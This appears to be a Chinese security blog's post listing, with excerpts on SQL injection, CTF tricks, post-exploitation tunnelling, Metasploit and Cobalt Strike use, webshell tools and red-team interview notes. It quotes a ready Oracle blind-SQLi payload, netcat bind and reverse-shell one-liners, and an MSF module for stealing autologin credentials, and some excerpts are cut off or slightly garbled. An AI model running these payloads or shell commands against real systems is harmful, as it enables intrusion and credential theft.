- 博客(13)
- 收藏
- 关注
RSS订阅原创 SQL注入语句
' AND 1=decode(substr(user,1,1),'B',dbms_pipe.receive_message('RDS',300),1) AND 'OqbD'='OqbD
2025-11-22 19:17:04
116
原创 代码审计U
1. 使用字符串拼接的Statement2. 动态拼接复杂查询= null) {3. 在存储过程中拼接SQL4. 使用不安全的PreparedStatement方式// 危险：虽然使用了PreparedStatement，但错误地拼接表名或列名。
2025-08-17 13:20:04
686
原创 CTF杂项
crc32本身是冗余效验码的意思，利用数据块中每一位发生改变都会得到不同的crc32值，利用这个原理爆破加密文件的内容。（前提手里有原压缩包文件和压缩包内部分文件，利用明文压缩包的CRC32是否和加密文件的一致，来使用明文攻击）单张图片中有隐藏信息，也可能是图片播放时间本身携带信息，也可以使用identify命令去拆解GIF。lsb又称最低有效位，利用人眼无法识别所有颜色，每个像素可以携带3bit信息，来隐藏。每个压缩文件都由文件头，文件数据，数据描述符三个部分组成。USB流量分为键盘流量和鼠标流量。
2025-08-16 14:12:14
633
原创 后渗透-隐藏隧道
在一些特殊的网络环境下，如果攻击者使用上层隧道 (HTTP 隧道、 DNS 隧道、 DNS 隧道、常规正 \反向端口转发 ) 进行的操作都失败了，常常会通过 ping 命令访问远程计算机。nc -lvp 1337 -e c:/windows\system32\cmd.exe //windows 下执行的命令。nc 192.168.1.1 1337 -e /bin/sh //kali 执行的命令。利用 bash 反向 shell。nc -lvp 1337 -e /bin/sh //kali 执行的命令。
2025-07-30 00:36:14
669
原创 hw面试题
3、上爱企查看这个企业的知识产权，然后看网站备案，然后看这个公司的股权穿透图，这里有一个找边缘资产的好方法，就是看股权穿透图找下面的子公司，但是不同的企业src收录标准不一。5、使用oneforall工具进行子域名挖掘，然后保存到一个txt里面，再使用灯塔进行子域名挖掘，再汇总，然后使用无影工具里面的辅助模块进行资产分类。比如天眼里面的运算符有:AND/OR/NOT等，都是需要大写。反射型XSS:反射型XSS攻击是一次性的攻击，当受害者点击恶意链接url的时候，恶意代码会直接在受害者的主机上的浏览器执行。
2025-05-11 20:52:49
752
原创 MSF和CS联动转换
1、将MSF获得meterpreter会话放在后台：backgrod。set lport CS外联监听器的端口（此处应为4441）set lport CS外联监听器的端口（此处应为414）3、CS指定会话里运行spawn 外联监听器名。session 选择要复制的session会话。set lhost CS服务器地址。set lhost CS服务器地址。4、MSF运行run,即可上线CS。1.CS创建外部监听器。
2025-04-27 22:36:48
413
原创 webshell工具特征区别
支持多种编码（Base64、ROT13、ChR 等），但仍有特征。高，加密流量难以直接检测，但可通过行为特征（如固定密钥）发现。：早期经典 WebShell 管理工具，功能简单，特征明显。：全能型 WebShell 管理工具，支持多种协议和加密。明文或简单 Base64 编码（部分版本可自定义编码）。中等，可通过自定义编码绕过简单规则，但静态特征仍存在。需要灵活编码和插件支持的场景（如绕过 WAF）。：菜刀的升级版，支持插件化扩展，功能更强大。极高，支持协议多样化，加密方式灵活。
2025-04-25 21:55:32
612
原创 python3编写exp
new_text = re.sub(r'Python', 'Java', text) # 替换所有"Python"为"Java"match = re.search(r'^1[3-9]\d{9}$', phone) # 匹配11位手机号。match = re.search(r'\d+', text) # \d+ 表示匹配1个或多个数字。→ 匹配前一个字符 0 次或 1 次。→ 匹配前一个字符 0 次或多次。→ 匹配前一个字符 1 次或多次。python3编写sql注入exp。→ 空白字符（空格、制表符等）
2025-04-24 23:09:07
280
原创 后渗透测试之MSF常规用法
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下。msf6安装的路径：/opt/metasploit-framework/embedded/framework/modules/exploits。run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码。
2025-04-03 15:52:10
2074
原创 web安全相关漏洞
服务端请求伪造（ssrf）【没有对目标地址做过滤，允许服务端向其他服务器获取数据功能，列如file:///协议读取本地文件，ftp://协议文件传输】Druid未授权访问漏洞（druid数据监控页面，如sql监控，session监控等信息，可以获取用户session，伪造身份登录。【存储型，反射型，DOM型（通过dom动态修改页面内容，只在客户端执行，有document，window.location）】客户端跨站请求伪造（csrf）【删除request的referer字段，再次发送仍可访问，可能存在。
2025-03-31 16:29:31
1463
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人